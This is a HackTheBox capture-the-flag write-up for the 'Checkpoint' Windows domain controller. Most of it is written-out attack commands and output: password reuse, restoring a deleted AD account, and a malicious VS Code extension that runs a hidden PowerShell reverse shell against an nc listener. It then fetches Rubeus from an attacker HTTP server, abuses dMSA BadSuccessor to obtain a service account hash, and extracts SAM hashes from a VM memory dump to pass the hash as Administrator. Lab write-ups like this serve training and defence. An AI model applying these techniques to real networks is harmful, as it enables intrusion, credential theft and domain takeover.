Skip to content

Checkpoint Writeup - HackTheBox

Medium Windows

Created May 30, 2026 • Last updated October 25, 2026 • 7 min read

Joshua

HackIndex Creator

Reconnaissance

┌──(kali㉿kali)-[~]
└─$ nmap -sC -sV -p- --min-rate 5000 -oN nmap_full.txt $TARGET_IP
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: checkpoint.htb, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp  open  mc-nmf        .NET Message Framing

| ssl-cert: Subject: commonName=DC01.checkpoint.htb
Host script results:
|   NetBIOS name: DC01
|   DNS_Domain_Name: checkpoint.htb
|   DNS_Computer_Name: DC01.checkpoint.htb

Classic DC fingerprint: DNS (53), Kerberos (88), LDAP (389/3268), SMB (445), WinRM (5985). Domain checkpoint.htb, hostname DC01.checkpoint.htb from LDAP + SSL cert.

/etc/hosts

┌──(kali㉿kali)-[~]
└─$ echo '$TARGET_IP checkpoint.htb dc01.checkpoint.htb dc01' | sudo tee -a /etc/hosts

Initial Access

Step 1 , Verify Initial Auth (alex.turner)

┌──(kali㉿kali)-[~]
└─$ nxc smb checkpoint.htb -u alex.turner -p 'Checkpoint2024!'
[+] checkpoint.htb\alex.turner:Checkpoint2024!

Step 2 , Enumerate Writable AD Objects

┌──(kali㉿kali)-[~]
└─$ bloodyAD -u alex.turner -p 'Checkpoint2024!' -d checkpoint.htb --host dc01.checkpoint.htb get writable

Key findings:

  • WRITE on CN=Mark Davies\0ADEL:2217e877-e2a2-47d7-91d4-99ede36f367e,CN=Deleted Objects,DC=checkpoint,DC=htb

  • CREATE_CHILD on OU=Employees,DC=checkpoint,DC=htb

  • WRITE on CN=Deleted Objects,DC=checkpoint,DC=htb

Step 3 , Restore Deleted User Mark Davies

alex.turner has WRITE on the Deleted Objects container, including Mark Davies' tombstone. Restore him with bloodyAD:

┌──(kali㉿kali)-[~]
└─$ bloodyAD -u alex.turner -p 'Checkpoint2024!' -d checkpoint.htb --host dc01.checkpoint.htb \
set restore "CN=Mark Davies\0ADEL:2217e877-e2a2-47d7-91d4-99ede36f367e,CN=Deleted Objects,DC=checkpoint,DC=htb"
[+] Restored to CN=Mark Davies,OU=Employees,DC=checkpoint,DC=htb

Step 4 , Password Reuse with mark.davies

┌──(kali㉿kali)-[~]
└─$ nxc smb checkpoint.htb -u 'mark.davies' -p 'Checkpoint2024!'
[+] checkpoint.htb\mark.davies:Checkpoint2024!

Mark Davies reuses the same domain password Checkpoint2024!.

Step 5 , Find DevDrop SMB Share

┌──(kali㉿kali)-[~]
└─$ nxc smb checkpoint.htb -u 'mark.davies' -p 'Checkpoint2024!' --shares

Key finding:

  • Share DevDrop with READ,WRITE permissions

  • Description: "VS Code extensions share for approved .vsix packages compatible with VS Code engine 1.118.0"

Execution

Step 6 , Malicious VS Code Extension (.vsix → RCE)

A bot periodically installs .vsix files dropped in the DevDrop share. The extension activates on VS Code startup and runs arbitrary code. All source files are in vsix-exploit/ in this folder.

Directory structure:

vsix-exploit/
├── [Content_Types].xml
├── extension.vsixmanifest
└── extension/
    ├── package.json
    └── out/
        └── extension.js

extension/package.json:

{
    "name": "checkpoint-tools",
    "displayName": "Checkpoint Tools",
    "description": "Internal tooling",
    "version": "1.0.0",
    "publisher": "checkpoint",
    "engines": {"vscode": "^1.118.0"},
    "activationEvents": ["*"],
    "main": "./out/extension.js",
    "contributes": {}
}

extension/out/extension.js (self-contained inline reverse shell , no HTTP fetch needed):

const { exec } = require('child_process');

function activate(context) {
    const cmd = `powershell -NoP -NonI -W Hidden -Exec Bypass -Command "..."`;
    exec(cmd);
}

function deactivate() {}
module.exports = { activate, deactivate };

[Content_Types].xml:

<?xml version="1.0" encoding="utf-8"?>
<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types">
  <Default Extension=".vsixmanifest" ContentType="text/xml" />
  <Default Extension=".json" ContentType="application/json" />
  <Default Extension=".js" ContentType="application/javascript" />
</Types>

extension.vsixmanifest:

<?xml version="1.0" encoding="utf-8"?>
<PackageManifest Version="2.0.0" xmlns="http://schemas.microsoft.com/developer/vsx-schema/2011">
  <Metadata>
    <Identity Language="en-US" Id="checkpoint-tools" Version="1.0.0" Publisher="checkpoint" />
    <DisplayName>Checkpoint Tools</DisplayName>
    <Description xml:space="preserve">Internal tooling</Description>
    <Tags></Tags>
    <Categories>Other</Categories>
    <GalleryFlags>Public</GalleryFlags>
    <Properties>
      <Property Id="Microsoft.VisualStudio.Code.Engine" Value="^1.118.0" />
      <Property Id="Microsoft.VisualStudio.Code.ExtensionDependencies" Value="" />
    </Properties>
  </Metadata>
  <Installation>
    <InstallationTarget Id="Microsoft.VisualStudio.Code" Version="[1.118.0,)" />
  </Installation>
  <Dependencies />
  <Assets>
    <Asset Type="Microsoft.VisualStudio.Code.Manifest" Path="extension/package.json" Addressable="true" />
  </Assets>
</PackageManifest>

Build, catch, upload:

┌──(kali㉿kali)-[~]
└─$ # Build VSIX (zip with specific structure)
┌──(kali㉿kali)-[~]
└─$ cd vsix-exploit
┌──(kali㉿kali)-[~]
└─$ zip -r ../exploit.vsix "[Content_Types].xml" extension.vsixmanifest extension/
 
┌──(kali㉿kali)-[~]
└─$ # Start listener BEFORE uploading
┌──(kali㉿kali)-[~]
└─$ rlwrap nc -lvnp 4444 -s $LHOST
 
┌──(kali㉿kali)-[~]
└─$ # Upload to DevDrop
┌──(kali㉿kali)-[~]
└─$ smbclient //checkpoint.htb/DevDrop -U 'checkpoint.htb\mark.davies%Checkpoint2024!' \
-c 'put exploit.vsix exploit.vsix'

Shell arrives within ~2 minutes (bot picks up the file).

Discovery

Step 6b , User Flag

┌──(kali㉿kali)-[~]
└─$ type C:\Users\ryan.brooks\Desktop\user.txt

Step 7 , Post-Shell Enumeration (ryan.brooks)

ryan.brooks is a standard domain user:

  • Groups: CHECKPOINT\VPN-Users, CHECKPOINT\DevTeam, BUILTIN\Users

  • No local admin, no SeDebugPrivilege

┌──(kali㉿kali)-[~]
└─$ whoami /groups
┌──(kali㉿kali)-[~]
└─$ net user ryan.brooks /domain

VMBackups is access denied:

┌──(kali㉿kali)-[~]
└─$ dir \\DC01\VMBackups
# Access is denied.

Notice

Dead end explored: VS Code state DB (state.vscdb) contained no credentials.

Key finding for privesc: ryan.brooks has CreateChild on OU=DMSAHolder (found via bloodyAD / BloodHound) → BadSuccessor attack path.

Privilege Escalation

BadSuccessor , DMSA Abuse on Patched Server 2025

DC build 26100.32860 is post-patch 4946. On patched DCs, msDS-SupersededManagedAccountLink must also be written on the target account , so the attacker needs WRITE on the target, not just CreateChild on the OU. ryan.brooks has CreateChild on OU=DMSAHolder and WRITE on svc_deploy. We target svc_deploy, whose NT hash gives access to VMBackups.

Step 8a , Enumerate BadSuccessor Rights

┌──(kali㉿kali)-[~]
└─$ nxc ldap checkpoint.htb -u alex.turner -p 'Checkpoint2024!' -M badsuccessor
BADSUCCE... DC01  [+] Found domain controller with operating system Windows Server 2025: $TARGET_IP
BADSUCCE... DC01  [+] Found 2 results
BADSUCCE... DC01  alex.turner (S-1-5-21-...-1101), OU=Employees,DC=checkpoint,DC=htb
BADSUCCE... DC01  ryan.brooks (S-1-5-21-...-1103), OU=DMSAHolder,DC=checkpoint,DC=htb

ryan.brooks has CreateChild on OU=DMSAHolder.

Step 8b , Get ryan.brooks TGT via Rubeus tgtdeleg

Rubeus is downloaded from the attacker's HTTP file server (ToolServe or python3 -m http.server):

┌──(kali㉿kali)-[~]
└─$ # On target shell
┌──(kali㉿kali)-[~]
└─$ Invoke-WebRequest -Uri 'http://$LHOST:8181/dl/win/ad/rubeus.exe' -OutFile 'C:\Windows\Temp\rubeus.exe'
┌──(kali㉿kali)-[~]
└─$ C:\Windows\Temp\rubeus.exe tgtdeleg /nowrap
[*] Action: Request Fake Delegation TGT (current user)
[*] Initializing Kerberos GSS-API w/ fake delegation for target 'cifs/DC01.checkpoint.htb'
[+] Kerberos GSS-API initialization success!
[+] Delegation requset success! AP-REQ delegation ticket is now in GSS-API output.
[*] base64(ticket.kirbi):

      doIF1DCCBdCgAwIBBaEDAgEW...

Step 8c , Convert kirbi → ccache + Sync Clock

Kali was ~7 hours behind the DC , Kerberos has a 5-minute tolerance. Sync clock first.

┌──(kali㉿kali)-[~]
└─$ sudo ntpdate -b checkpoint.htb
 
┌──(kali㉿kali)-[~]
└─$ # Save the full base64 kirbi from Rubeus output to a file, then convert:
┌──(kali㉿kali)-[~]
└─$ base64 -d /tmp/ryan.kirbi.b64 > /tmp/ryan2.kirbi
┌──(kali㉿kali)-[~]
└─$ impacket-ticketConverter /tmp/ryan2.kirbi /tmp/ryan2.ccache
# [*] converting kirbi to ccache...
# [+] done

Step 8d , Find Writable Target for DMSA

ryan.brooks can't write to Administrator. Check what he can write to:

┌──(kali㉿kali)-[~]
└─$ export KRB5CCNAME=/tmp/ryan2.ccache
┌──(kali㉿kali)-[~]
└─$ bloodyAD -k ccache=/tmp/ryan2.ccache --dc-ip $TARGET_IP \
--host dc01.checkpoint.htb -d checkpoint.htb get writable --right WRITE
distinguishedName: CN=svc_deploy,OU=ServiceAccounts,DC=checkpoint,DC=htb
permission: WRITE

ryan.brooks has WRITE on svc_deploy. svc_deploy is in BackupAccess group → READ on VMBackups.

Step 8e , Create Weaponised DMSA Targeting svc_deploy

┌──(kali㉿kali)-[~]
└─$ export KRB5CCNAME=/tmp/ryan2.ccache
┌──(kali㉿kali)-[~]
└─$ bloodyAD -k ccache=/tmp/ryan2.ccache -u ryan.brooks \
--dc-ip $TARGET_IP --host dc01.checkpoint.htb -d checkpoint.htb \
add badSuccessor evilDMSA6 \
-t "CN=svc_deploy,OU=ServiceAccounts,DC=checkpoint,DC=htb" \
--ou "OU=DMSAHolder,DC=checkpoint,DC=htb"
[+] Creating DMSA evilDMSA6$ in OU=DMSAHolder,DC=checkpoint,DC=htb
[+] Impersonating: CN=svc_deploy,OU=ServiceAccounts,DC=checkpoint,DC=htb

Realm        : CHECKPOINT.HTB
Sname        : krbtgt/CHECKPOINT.HTB
UserName     : evilDMSA6$
UserRealm    : checkpoint.htb
StartTime    : 2026-06-14 18:06:10+00:00
EndTime      : 2026-06-15 03:49:13+00:00
Flags        : renewable, forwardable, forwarded, enc-pa-rep, pre-authent
Keytype      : 18
Key          : m1ZW7MRbqp4XdICDo2Of+COSSqx9iVBr6cWdiyNBxoM=

[+] dMSA TGT stored in ccache file evilDMSA6_ty.ccache

dMSA current keys found in TGS:
AES256: 782275404d4475e867db896a731894d971d2b55f3b874445dd8942a29a2270f4
AES128: 8d3194e308cd04ca945ce999cb758513
RC4: 352bb8057e13095aa509ac161be4701d

dMSA previous keys found in TGS (including keys of preceding managed accounts):
RC4: $SVC_HASH

The "previous keys" entry is svc_deploy's NT hash (the "preceding managed account").
TGT saved to: evilDMSA6_ty.ccache

Credential Access

VMware Memory Forensics

svc_deploy is in the BackupAccess group and has READ on VMBackups. The share contains a VMware snapshot of a Windows Server 2019 machine. We extract the SAM/SYSTEM hives from RAM to recover the local Administrator hash.

Step 8f , Confirm VMBackups Access

┌──(kali㉿kali)-[~]
└─$ export KRB5CCNAME=evilDMSA6_ty.ccache
┌──(kali㉿kali)-[~]
└─$ nxc smb dc01.checkpoint.htb -k --use-kcache --shares
SMB  DC01  [+] checkpoint.htb\evilDMSA6$ from ccache
SMB  DC01  VMBackups    READ
┌──(kali㉿kali)-[~]
└─$ nxc smb dc01.checkpoint.htb -u svc_deploy -H $SVC_HASH --shares
SMB  DC01  [+] checkpoint.htb\svc_deploy:$SVC_HASH
SMB  DC01  VMBackups    READ

VMBackups contents (NightlyBackup_2024-11-01/memory forensics/):

Windows Server 2019.vmdk           9.5 GB   full VM disk
Windows Server 2019-000001.vmdk    101 MB   delta VMDK
Windows Server 2019-Snapshot1.vmem  2 GB   RAM dump  ← target
Windows Server 2019-Snapshot1.vmsn 131 MB   snapshot metadata

Step 8g , Download vmem + vmsn

smbclient chokes on filenames with spaces. Use impacket Python directly:

dl_vmem.py :

from impacket.smbconnection import SMBConnection

TARGET_PATH = 'snapshot.vmem'
REMOTE_FILE = 'NightlyBackup_2024-11-01\\memory forensics\\Windows Server 2019-Snapshot1.vmem'

conn = SMBConnection('dc01.checkpoint.htb', '$TARGET_IP', sess_port=445)
conn.login('svc_deploy', '', 'checkpoint.htb', '', '$SVC_HASH')

total = 0
with open(TARGET_PATH, 'wb') as f:
    def write_chunk(data):
        global total
        f.write(data)
        total += len(data)
        if total % (100 * 1024 * 1024) == 0:
            print(f'[*] Downloaded {total // (1024*1024)} MB', flush=True)
    conn.getFile('VMBackups', REMOTE_FILE, write_chunk)

print(f'[+] Done! {total} bytes')
conn.logoff()

dl_vmsn.py same but for .vmsn. volatility3 needs the .vmsn alongside the .vmem with matching base name to correctly map VMEM pages:

from impacket.smbconnection import SMBConnection

TARGET_PATH = 'snapshot.vmsn'
REMOTE_FILE = 'NightlyBackup_2024-11-01\\memory forensics\\Windows Server 2019-Snapshot1.vmsn'

conn = SMBConnection('dc01.checkpoint.htb', '$TARGET_IP', sess_port=445)
conn.login('svc_deploy', '', 'checkpoint.htb', '', '$SVC_HASH')

total = 0
with open(TARGET_PATH, 'wb') as f:
    def write_chunk(data):
        global total
        f.write(data)
        total += len(data)
        if total % (20 * 1024 * 1024) == 0:
            print(f'[*] Downloaded {total // (1024*1024)} MB', flush=True)
    conn.getFile('VMBackups', REMOTE_FILE, write_chunk)

print(f'[+] Done! {total} bytes')
conn.logoff()
┌──(kali㉿kali)-[~]
└─$ cd /home/user/Desktop/Targets/CTFs/HackTheBox/Checkpoint
┌──(kali㉿kali)-[~]
└─$ python3 dl_vmem.py
┌──(kali㉿kali)-[~]
└─$ python3 dl_vmsn.py
# [*] Downloaded 100 MB
# [*] Downloaded 200 MB
# ...
# [+] Done! 2147483648 bytes
# [+] Done! 138164859 bytes

Step 8h , Extract Registry Hives from vmem with volatility3

┌──(kali㉿kali)-[~]
└─$ pipx install volatility3
 
┌──(kali㉿kali)-[~]
└─$ VOL=/home/user/.local/share/pipx/venvs/volatility3/bin/vol
 
┌──(kali㉿kali)-[~]
└─$ # List hives
┌──(kali㉿kali)-[~]
└─$ $VOL -f snapshot.vmem windows.registry.hivelist.HiveList
Offset              FileFullPath
0xc30a2fe38000      \REGISTRY\MACHINE\SYSTEM
0xc30a3278e000      \SystemRoot\System32\Config\SAM
0xc30a32789000      \SystemRoot\System32\Config\SECURITY
┌──(kali㉿kali)-[~]
└─$ mkdir lsass_dump
┌──(kali㉿kali)-[~]
└─$ $VOL -f snapshot.vmem -o lsass_dump windows.registry.hivelist.HiveList --dump
0xc30a2fe38000  \REGISTRY\MACHINE\SYSTEM   registry.SYSTEM.0xc30a2fe38000.hive
0xc30a3278e000  \SystemRoot\System32\Config\SAM   registry.SAM.0xc30a3278e000.hive
0xc30a32789000  \SystemRoot\System32\Config\SECURITY   registry.SECURITY.0xc30a32789000.hive

Step 8i , secretsdump LOCAL on Extracted Hives

┌──(kali㉿kali)-[~]
└─$ impacket-secretsdump \
-sam lsass_dump/registry.SAM.0xc30a3278e000.hive \
-system lsass_dump/registry.SYSTEM.0xc30a2fe38000.hive \
-security lsass_dump/registry.SECURITY.0xc30a32789000.hive \
LOCAL
[*] Target system bootKey: 0x75247bc64fa0086d2c98744d4bcd53f5
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:$ADMIN_HASH:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Dumping LSA Secrets
[*] DPAPI_SYSTEM
dpapi_machinekey:0x914b2bd39adf134401ec6eceb08f8ec131d2ecbd
dpapi_userkey:0x77d90ebac2487f870a26e4776c72b4509b06dd1b

Lateral Movement

Step 8j , Pass-the-Hash as Administrator

The Server 2019 Administrator hash is reused on the Server 2025 DC:

┌──(kali㉿kali)-[~]
└─$ nxc smb dc01.checkpoint.htb -u Administrator -H $ADMIN_HASH
SMB  DC01  [+] checkpoint.htb\Administrator:$ADMIN_HASH (Pwn3d!)
┌──(kali㉿kali)-[~]
└─$ nxc smb dc01.checkpoint.htb -u Administrator -H $ADMIN_HASH \
-x 'type C:\Users\max.palmer\Desktop\root.txt'